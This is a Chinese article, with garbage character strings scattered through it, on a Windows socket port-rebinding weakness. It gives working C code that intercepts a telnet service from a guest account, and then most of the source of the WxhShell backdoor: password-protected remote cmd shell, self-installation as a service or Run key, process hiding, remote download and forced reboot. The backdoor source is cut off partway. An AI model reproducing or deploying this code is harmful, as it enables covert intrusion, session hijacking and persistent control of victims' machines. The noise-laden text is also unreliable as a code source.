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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O0OBkIj s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b*$/(2"m \|^fG9M~ saddr.sin_family = AF_INET; GtI]6t rK&ofc]f$ saddr.sin_addr.s_addr = htonl(INADDR_ANY); L$zI_
z 5c6CH k`: bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2B&Yw Jg#L8>p1 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $__e7 5<Mht6"H 这意味着什么?意味着可以进行如下的攻击: X&qRanOP;z cy)b/4h@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _J^q| pcw!e_"+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [?TQ!l} 8A T8Sgu6:*R 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XvBEC_xWZ f:iK5g 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 #6{"cr6l AMqu}G 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d5<@WI:wz Fs_,RXW" 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m(JFlO g*8LdH6mq 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6GzmzhX4 4/D~H+k #include /bA\O
#include Mi'Q5m #include I0ycLx #include Gjuc"JR7 DWORD WINAPI ClientThread(LPVOID lpParam); ?QO)b9 int main() Wo5G23:xz { 'R6D+Vk/ WORD wVersionRequested; Db({k,P'Y DWORD ret; p-V#nPb WSADATA wsaData; AEkgm^t.{ BOOL val; Avw"[~Xd SOCKADDR_IN saddr; g-xbb&] SOCKADDR_IN scaddr; M%4o0k]E,s int err; Y.rHl4 SOCKET s; GV)#>PL SOCKET sc; $I_04k#t int caddsize; ]!H*oP8a* HANDLE mt; >j?5MIm03 DWORD tid; ~Av]LW wVersionRequested = MAKEWORD( 2, 2 ); RLY Ae err = WSAStartup( wVersionRequested, &wsaData ); xMg&>}5 if ( err != 0 ) { {neE(0c printf("error!WSAStartup failed!\n"); "%ag^v9 return -1; Mr:*l`b_ } 18w[T=7) saddr.sin_family = AF_INET; ;nj 'C1 T,(IdVlJ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n);2b\& dv4)fG]W;_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,IuO;UV#) saddr.sin_port = htons(23); c}vy9m$B_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x[nv+n , { aGp <%d printf("error!socket failed!\n"); Ndi'b_Sh\ return -1; `]]gD EPG{ } 5`oor86 val = TRUE; Cd#*Wp)s //SO_REUSEADDR选项就是可以实现端口重绑定的 SiojOH if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pvy;L[c { 8q7KqYu printf("error!setsockopt failed!\n"); I>/`W return -1; _KmpC>J+ } $qQ6u! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k;zbq //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H#U{i //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sLbz@5 4 oZ6xHdPc4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Ms1\J2 { 0x^$q?
\A ret=GetLastError(); 9ciL<'H\ printf("error!bind failed!\n"); XP2=x_"y return -1; `k\]I |6 } w])~m1yW listen(s,2); c'`7p/l. while(1) q(.%f3( { ]CC~Eo-%- caddsize = sizeof(scaddr); 3{M IBMA //接受连接请求 O-T/H-J` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QH\*l~;B\ if(sc!=INVALID_SOCKET) 'Iyk`=R { h:bs/q+- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p6=#LwL' if(mt==NULL) ;t?pyFT2Z { l'16B^ printf("Thread Creat Failed!\n"); W]Ph:O^5c break; y_$^Po } {zF } SmR*b2U CloseHandle(mt); ?!~au0 } ui 2RTAb closesocket(s); mz\m^g3 WSACleanup(); _%1.D0<~-E return 0; 82/iVm1 } BMX x(W] DWORD WINAPI ClientThread(LPVOID lpParam) 3^
Z tIZ { ?J6hiQvL SOCKET ss = (SOCKET)lpParam; H~V=TEj SOCKET sc; n<hwstk unsigned char buf[4096]; HYg_{ SOCKADDR_IN saddr; b/5~VY*T long num; J7cqn j DWORD val; ,RT\&Ze5 DWORD ret; HPCA,*YR` //如果是隐藏端口应用的话,可以在此处加一些判断 (U.&[B //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 R>0ta
Q saddr.sin_family = AF_INET; ,*lK4?v saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ppp&3h[dW) saddr.sin_port = htons(23); ]B7t9l if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d,0pNav) { 5j}@Of1pd printf("error!socket failed!\n"); s~63JDy"E return -1; ovfw _ } @%fkW"y: val = 100; ome>Jbdhe if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jyT(LDsS { R1m18GHQ ret = GetLastError(); v0xi(Wu return -1; )eG&"3kFe! } Wex4>J<`/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /kWWwy<
{ ~g,QwaA[ ret = GetLastError(); n&Tv]- return -1; V('b|gsEo } w'eenIX^^ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _Ey8P0-I { @6tx5D? printf("error!socket connect failed!\n"); JH5])i0 closesocket(sc); 6x7=0}' closesocket(ss); u}h'v&"e, return -1; tvH)I px } \G"/Myi while(1) g ` {0I[ { }9kq? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 97g-*K //如果是嗅探内容的话,可以再此处进行内容分析和记录 ejQCMG7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 wb?hfe num = recv(ss,buf,4096,0); xSUR< if(num>0) *Xo f;)Z^ send(sc,buf,num,0); Q6>vF)(
- else if(num==0) b$e JH break; IpP0|:} num = recv(sc,buf,4096,0); Jzj~uz if(num>0) lt]U?VZ send(ss,buf,num,0); y1saE else if(num==0) 0t&H1xsxX break; th<]L<BP/ } .`p_vS9 closesocket(ss); -I*A `M closesocket(sc); /l`XJs return 0 ; :Ry24X } u rOG Oa$ Rju8%FRO M}<=~/k`j ========================================================== uj@<_|7 5zGj,y>u 下边附上一个代码,,WXhSHELL :}z%N7T 2uTa}{/% ========================================================== `3KprpE8v aFym&n\ #include "stdafx.h" xRUYJ=|oh #Q"vwek #include <stdio.h> Z^l!y5s/H #include <string.h> v3"xJN_,[p #include <windows.h> F~AS(sk #include <winsock2.h> |gz,Ip{ #include <winsvc.h> AIyv;}5 #include <urlmon.h> /z5lxS@# (n/1:' #pragma comment (lib, "Ws2_32.lib") WdAGZUp #pragma comment (lib, "urlmon.lib") g@k9w{_ bAiw]xi #define MAX_USER 100 // 最大客户端连接数 yh:,[<q #define BUF_SOCK 200 // sock buffer Anv8)J!9u #define KEY_BUFF 255 // 输入 buffer v~Qy{dn
P nS4S[|w" #define REBOOT 0 // 重启 5m42Bqy" #define SHUTDOWN 1 // 关机 O| ]Ped9 7
L\? #define DEF_PORT 5000 // 监听端口 pG6-.F; (do=o&9pm #define REG_LEN 16 // 注册表键长度 (Y)h+}n5N #define SVC_LEN 80 // NT服务名长度 D8Rmxq! 0Q >|s_ // 从dll定义API [{F7Pc typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e9_+$Oo typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GuWBl$|+b typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hhAC@EGG typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |vz;bJG =bWq 3aP)P // wxhshell配置信息 MPn>&28"|K struct WSCFG { k+$4?/A int ws_port; // 监听端口 z|*6fFE char ws_passstr[REG_LEN]; // 口令 (H+[ ^(3d2 int ws_autoins; // 安装标记, 1=yes 0=no v6?\65w,| char ws_regname[REG_LEN]; // 注册表键名 p,\bez
char ws_svcname[REG_LEN]; // 服务名 2gAdZE&Y char ws_svcdisp[SVC_LEN]; // 服务显示名 [V,
;X char ws_svcdesc[SVC_LEN]; // 服务描述信息 T zYgH char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @ ^cgq3H' int ws_downexe; // 下载执行标记, 1=yes 0=no $S8bp3) char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" So%1RY{) char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %@93^q[\2 xKST-:c + }; zl
0^EltiU 9~'Ip7X,! // default Wxhshell configuration C$G88hesn struct WSCFG wscfg={DEF_PORT, F>kn:I"X) "xuhuanlingzhe", b[o"Uq@8? 1, _8pkejg "Wxhshell", [pgkY!R?) "Wxhshell", ((>3,%B` "WxhShell Service", Rn(F#tI "Wrsky Windows CmdShell Service", a 8hv .43 "Please Input Your Password: ", MQH8Q$5D 1, il cy/ " http://www.wrsky.com/wxhshell.exe", eKpxskbhZ "Wxhshell.exe" IA 9v1:> }; pD_eo6xX gc:p@< // 消息定义模块 IcA\3j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2j/1@Z1j= char *msg_ws_prompt="\n\r? for help\n\r#>"; x*"pDI0k) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; NT9- j#V char *msg_ws_ext="\n\rExit."; xVz -_z char *msg_ws_end="\n\rQuit."; MN M> char *msg_ws_boot="\n\rReboot..."; JS7}K)A2B6 char *msg_ws_poff="\n\rShutdown..."; (9 z.IH7}k char *msg_ws_down="\n\rSave to "; ~v(M6dz~vk "ko?att~ char *msg_ws_err="\n\rErr!"; aU]O$Pg{ char *msg_ws_ok="\n\rOK!"; ]V769B9 k#:@fH4{PA char ExeFile[MAX_PATH]; >;&V~q:di int nUser = 0; ])ALAAIc- HANDLE handles[MAX_USER]; K-Dk2(x int OsIsNt; L!b0y7yR "tz0ko,( SERVICE_STATUS serviceStatus; &0
)xvZ SERVICE_STATUS_HANDLE hServiceStatusHandle; )bCG]OM7< JXRf4QmG // 函数声明 iI@Gyq= int Install(void); vz#wP int Uninstall(void); Zj+}T int DownloadFile(char *sURL, SOCKET wsh); qfP"UAc{/ int Boot(int flag); EBDC '^ void HideProc(void); K0DXOVT\ int GetOsVer(void); ?ZuD
_L-i int Wxhshell(SOCKET wsl); 6(q`Oj void TalkWithClient(void *cs); :
`6$/DK int CmdShell(SOCKET sock); ug6f
int StartFromService(void); ZaUcP6[h int StartWxhshell(LPSTR lpCmdLine); .1z$ A ",aT<lw. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pW3)Y5/D VOID WINAPI NTServiceHandler( DWORD fdwControl ); \l=KWa 3Q $YGIN7_Gg // 数据结构和表定义 K@j^gF/0B SERVICE_TABLE_ENTRY DispatchTable[] = w1"gl0ga$ { &W)+8N,L {wscfg.ws_svcname, NTServiceMain}, S `m-5 {NULL, NULL} {sfmWVp }; X~)V )'R TA@tRGP> // 自我安装 1y)$[e
int Install(void) ]g8i>,G { ll<9f) char svExeFile[MAX_PATH]; A"bSNHCKF HKEY key; \Sq"3_m4T strcpy(svExeFile,ExeFile); BudWbZ5>Ep T)Zt'M // 如果是win9x系统,修改注册表设为自启动 mS)|6=Y if(!OsIsNt) { K5)yM @cq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,2
g M- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [N+ m5{tT RegCloseKey(key); R!_8jD:$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7$1fy0f[l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }W__ffH RegCloseKey(key); B.Zm$JZ: return 0; ^ =/?<C4 } Hlt8al3 } A'~%_} } [yYH>~SuwZ else { ;Txv-lfS }:RT,< // 如果是NT以上系统,安装为系统服务 {XDY:`vZ} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `\ W if (schSCManager!=0) ^8';8+$ { ]< s\V-y SC_HANDLE schService = CreateService [w+h-q ( 't0+:o">: schSCManager, (<bm4MPf wscfg.ws_svcname, !^)wPmk wscfg.ws_svcdisp, kvW|= SERVICE_ALL_ACCESS, wQD0vsD SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [5?4c'Ev SERVICE_AUTO_START, `j&0VIU>> SERVICE_ERROR_NORMAL, 7xv4E<r2 svExeFile, (kWSK:l NULL, C%}]"0Q1 NULL, b)on A| NULL, h&=O-5 NULL, /~3N@J NULL 74@lo-/LY ); KP[NuXA` if (schService!=0)
h`wMi}q'D { 8)^B32 CloseServiceHandle(schService); 7BL|x CloseServiceHandle(schSCManager); w/b>awI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7|&e[@B strcat(svExeFile,wscfg.ws_svcname); nS_Ta if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }xAie( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s<[A0=LH RegCloseKey(key);
]pW86L% return 0; \#4m@ } w)+wj[6
E } C`\9cej CloseServiceHandle(schSCManager); :J^qj AV } )y9 ;OA } y[:
~CL 2\^G['9 return 1; )v[XmJ>H~o } T vrk^! 4p.^'2m // 自我卸载 !ZFr7Xz int Uninstall(void) rRB~=J" { ldA!ou7 HKEY key; ^_v[QV 1EVfowIl if(!OsIsNt) { )uZoH8? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %BUEX RegDeleteValue(key,wscfg.ws_regname); ~12_D'8D[ RegCloseKey(key); 1N8;)HLIBJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q"40#RFA RegDeleteValue(key,wscfg.ws_regname); {Fbg]'FQ RegCloseKey(key); JPEIT return 0; M\Se_ } 6?N4l ]l } xq}-m!nX } ; e@gO else { \K;op2 /
s,tY74'5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EIr@g if (schSCManager!=0) NUCiY\td { *ZaaO^! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bNGCOj if (schService!=0) YTK^ijmU6x { owvS/"@ if(DeleteService(schService)!=0) { kY"KD22a CloseServiceHandle(schService); l<(cd, CloseServiceHandle(schSCManager); hoenQ6N^: return 0; Ve}[XqdS^p } 8V9[a*9 CloseServiceHandle(schService); (9 sIA*,} } u)a' CloseServiceHandle(schSCManager); `1Zhq+s } )tS-.P rA- } d|XmasGN SR ZL\m} return 1; T>A{qu } @Y}uZ'jt' Tkw;pb // 从指定url下载文件 c
pk^!@c int DownloadFile(char *sURL, SOCKET wsh) 5+- I5HX|~ { [ %}u=}@ HRESULT hr; [84F09HU char seps[]= "/"; w\Mnu}<e$ char *token; */z??fI27 char *file; pXu/(&? char myURL[MAX_PATH]; nPN?kO=] char myFILE[MAX_PATH]; 6?qDdVR~] c0_E_~ strcpy(myURL,sURL); #]E(N~ token=strtok(myURL,seps); kkS~4?-* while(token!=NULL) maNW{"1 { 4nqoZk^R file=token; ibpzeuUl token=strtok(NULL,seps); 3GH(wSv9\ } `y^sITr UG;Y^?Ppe5 GetCurrentDirectory(MAX_PATH,myFILE); CSTI?A"P strcat(myFILE, "\\"); FS"eM"z strcat(myFILE, file); usFfMF X send(wsh,myFILE,strlen(myFILE),0); B=Ym x2A9] send(wsh,"...",3,0); 47r&8C+&\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $w#r"= ) if(hr==S_OK) HYK!}& return 0; S'LZk9E else _[K"gu return 1; &a,OfSz !#2=\LUC } 1ocJ+ B,WTHU[AV // 系统电源模块 7.Kc:7 int Boot(int flag) 2@=IT0[E\ { I1Sa^7 HANDLE hToken; -r7]S TOKEN_PRIVILEGES tkp; L!Cz'm"Nl *?ITns W< if(OsIsNt) { ~EzaC?fQ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .|qK+Hnc LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;%C'FV e] tkp.PrivilegeCount = 1; }x0- V8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;Q;[*B=kE AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &MZ$j46 if(flag==REBOOT) { ;<
jbLhHwD if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p?D2)( return 0; #oeG!<Mn } "9EE1];NT else { }R[#?ty;] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GNf 482 return 0; 6qWdd&1 } )4>2IQ } ^N}Wnk7ks' else { %@a8P if(flag==REBOOT) { O,bkQY$v if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /M;#_+VK< return 0; '^BV_ QQ } /MMd`VrC2 else { {Gq*e/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SzwQOs* return 0; zya5Jb:Sg } A1)wo^, } PWRy7d n+@F`]Ke return 1; 7]xm2CHx5 } }G o$
\Bk '{I_\~* // win9x进程隐藏模块 4(}J.-B void HideProc(void) ]<(]u#g_d { ^;,M}|<h M.-"U+#aD HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uw\2qU3gk if ( hKernel != NULL ) Zwcy4>8 { 2!&&|Mh} pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q9}dHIe1E ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QB.J,o*XD4 FreeLibrary(hKernel); 8}H1_y-g[ } )jWOP,| |qZko[W}= return; -jgysBw+Xb } q~CA0AR 26X+
}^52 // 获取操作系统版本 DeR='7n int GetOsVer(void) izh<I0 { (-]r~Ol^ OSVERSIONINFO winfo; DD" $1o" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~~/xRs GetVersionEx(&winfo); yc|VJ2R* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DAo~8H return 1; cvwhSdZu8 else eC5 $#,HiC return 0; Z/rP"|EuQ } 3@5=+z~CW 1c JF/"v // 客户端句柄模块 r=yK,d/1 int Wxhshell(SOCKET wsl) K)TrZ 2 { *yl>T^DjTC SOCKET wsh; S+TOSjfis struct sockaddr_in client; Y+K|1r DWORD myID; %OgS^_tu Bgmn2- while(nUser<MAX_USER) lL]y~u { NrP0Ep%V int nSize=sizeof(client); <~
J O
s2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Xf)|Pu if(wsh==INVALID_SOCKET) return 1; ''\;z<v .9O$G2'oh handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r>bJ%M} if(handles[nUser]==0) PRNoqi3sY closesocket(wsh); E( us'9c else 0Z{j>=$ nUser++; 5k|9gICyd* } sB69R:U; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5>AX*]c e8'wG{3A return 0; 5BBD.! } Qp`gswvE :!zl^J; // 关闭 socket *%KKNT'* void CloseIt(SOCKET wsh) l }XU59 { nC{%quwh{ closesocket(wsh); @29U@T nUser--; u{["50~ ExitThread(0); a~8[<F omj } "vtCTl~t M:5b4$Qh< // 客户端请求句柄 V]90 void TalkWithClient(void *cs) IKie1!ZU{" { H4]Ul
eU <V>dM4Mkr SOCKET wsh=(SOCKET)cs; [
Bl c^C{f char pwd[SVC_LEN]; 7t.!lh5G% char cmd[KEY_BUFF]; 7 I>G{ char chr[1]; A=Ss6-Je int i,j; Fv<`AU ~)(\6^&=| while (nUser < MAX_USER) { z2Z^~,i Hty0qr3 if(wscfg.ws_passstr) { : _QCfH if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &IlU|4`R% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /> 4"~q) //ZeroMemory(pwd,KEY_BUFF); `O'`eY1f i=0; CW<N: F.9 while(i<SVC_LEN) { kY'T{Sm1^ @gG<le6 // 设置超时 eilYA_FL. fd_set FdRead; &5:tn=E struct timeval TimeOut; )XWP\
h FD_ZERO(&FdRead); &?h,7
D;A FD_SET(wsh,&FdRead); >|;aIa@9 TimeOut.tv_sec=8; tY
<Z'xA? TimeOut.tv_usec=0; 0
Us5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MMj9{ou if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tr7<]Hm: a. z;t8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +o9":dl pwd =chr[0]; QD%L0;j if(chr[0]==0xd || chr[0]==0xa) { r7',3V pwd=0; B,{K*-7)MX break; !>1@HH?I\/ } y{N-+10z i++; 2,*M|+W~ } 4rrSb* 0tU.( // 如果是非法用户,关闭 socket \<g*8?yFs if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NQ6sGL } ^yOZArc'r *BR ^U$,e send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I(XOE$3 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /i77 Z4\=*ic@ while(1) { 8w.YYo8` pxa( ZeroMemory(cmd,KEY_BUFF); cb}[S:&| ,2W8=ON // 自动支持客户端 telnet标准 [ 1u-Q%?# j=0; ,I,\ml
while(j<KEY_BUFF) { q|),`.eh\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bs?^2T~%{ cmd[j]=chr[0]; O<V4HUW if(chr[0]==0xa || chr[0]==0xd) { ej"+:."\e cmd[j]=0; GN2Sn`; break; @/31IOIV]` } =y-@AU8 j++; 7"C$pm6 } Z+=@<i'' -jiG7OL // 下载文件 %ALwz[~] if(strstr(cmd,"http://")) { ^cuc.g)c$? send(wsh,msg_ws_down,strlen(msg_ws_down),0); [D4Es if(DownloadFile(cmd,wsh)) BSVxN send(wsh,msg_ws_err,strlen(msg_ws_err),0); sL$:"= else ~W-PD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $A-J,_:T< } gp\<p-} else { K9up:.{QQ WA&!;Zq switch(cmd[0]) { 53n^3M,qK =aTv! 8</ // 帮助 W}mn}gTQ case '?': { \}|o1Xh2 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZG&>:Si; break; V6,H}k } ~S,,w1` // 安装 fNW"+ <W case 'i': { z+n,uHs if(Install()) AiO$<CS send(wsh,msg_ws_err,strlen(msg_ws_err),0); tu66'z else $cU!m(SILQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [UWdW break; 2HsLc*9{4 } wG-HF'0L // 卸载 F}/S:(6LF2 case 'r': { kZGRxp9 if(Uninstall()) LAS'u"c| send(wsh,msg_ws_err,strlen(msg_ws_err),0); U ^5Kz-5. else
BdH-9n~, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oUQ,61H break; #W.#Hjpp } U!*M*s // 显示 wxhshell 所在路径 /n{omx case 'p': { jYmR char svExeFile[MAX_PATH]; aGtf z) strcpy(svExeFile,"\n\r"); [`"ZjkR_J strcat(svExeFile,ExeFile); biU^[g(" send(wsh,svExeFile,strlen(svExeFile),0); `n@*{J8 break; @v)p<r^M"> } nz=GlO'[ // 重启 ($; 77fPR case 'b': { f$Fhf?' send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vy Xhl; if(Boot(REBOOT)) 'mFqEn send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Q
fO8P else { (mTE;s( closesocket(wsh); 5A3xVN= ExitThread(0); CR"|^{G } NflD/q/ L break; Gi?/C&1T } }J:U=HJ // 关机 %InA+5s` case 'd': { [S9K6%w_! send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zuJ@E=7 if(Boot(SHUTDOWN)) yW1)vD7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); >,$_| C else { wnEyl[ac closesocket(wsh); jHE}qE~>5 ExitThread(0); "4+&-ms } wsZF;8u t break; 59Xi3KY } jjw`Dto& // 获取shell "55skmD.P case 's': { nYR# CmdShell(wsh); :8=i kwQ closesocket(wsh);
-:Da&V ExitThread(0); &5fJPv & break; N kb|Fd/s } 5\5/ // 退出 =.f-w0V case 'x': { MDhRR*CBh send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p*4':TFuD; CloseIt(wsh); (C-{B[Y break; LtWP0@JA } =n5zM._S- // 离开 z;{iM/Xe case 'q': { \qdHX send(wsh,msg_ws_end,strlen(msg_ws_end),0); n$xc];j closesocket(wsh); v5!d$Vctu WSACleanup(); ]HKQDc' exit(1); :mh_G break; :|V$\!o'U } jSh5!6O } QUq_:t+Dv } (6?9B lH~ we~[ ]
\
// 提示信息 sT 3^hY7 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2h|MXI\g } Y;dz,}re } A -H& Qi,j+xBp return; \\r)Ue] } ?i7%x,g(Z 6]V4muz#c // shell模块句柄 ,X[ktz int CmdShell(SOCKET sock) *W4m3Lq { lGV0*Cji STARTUPINFO si; ^=BTz9QM ZeroMemory(&si,sizeof(si)); `YFtL si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nOt&pq7 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N=4G=0 `ke PROCESS_INFORMATION ProcessInfo; wj*,U~syB char cmdline[]="cmd"; $:=A'd2 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _Zp}?b5Q return 0; 9=vMgW } nno}e/zqf aXQnZ+2e^R // 自身启动模式 Buf/@B7+\ int StartFromService(void) ^!<U_;+ { AsQ)q typedef struct o1-m1 <ft { \s/s7y6b+ DWORD ExitStatus; X\]L=>]C DWORD PebBaseAddress; :}Xll#.,m DWORD AffinityMask; %7"q"A r[ DWORD BasePriority; X\`_3= ULONG UniqueProcessId; wg7V-+@i ULONG InheritedFromUniqueProcessId; ^`*9QjY } PROCESS_BASIC_INFORMATION; q- q
0$,*[PH PROCNTQSIP NtQueryInformationProcess; C\S3Gs T_s_p static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6TQoqH8@U static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Vr )<\h Lrta/SU* HANDLE hProcess; ,p4&g)o PROCESS_BASIC_INFORMATION pbi; >z/#_z@LV n)L* HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cQ/5qg if(NULL == hInst ) return 0; $}<PL}+ '{a/2
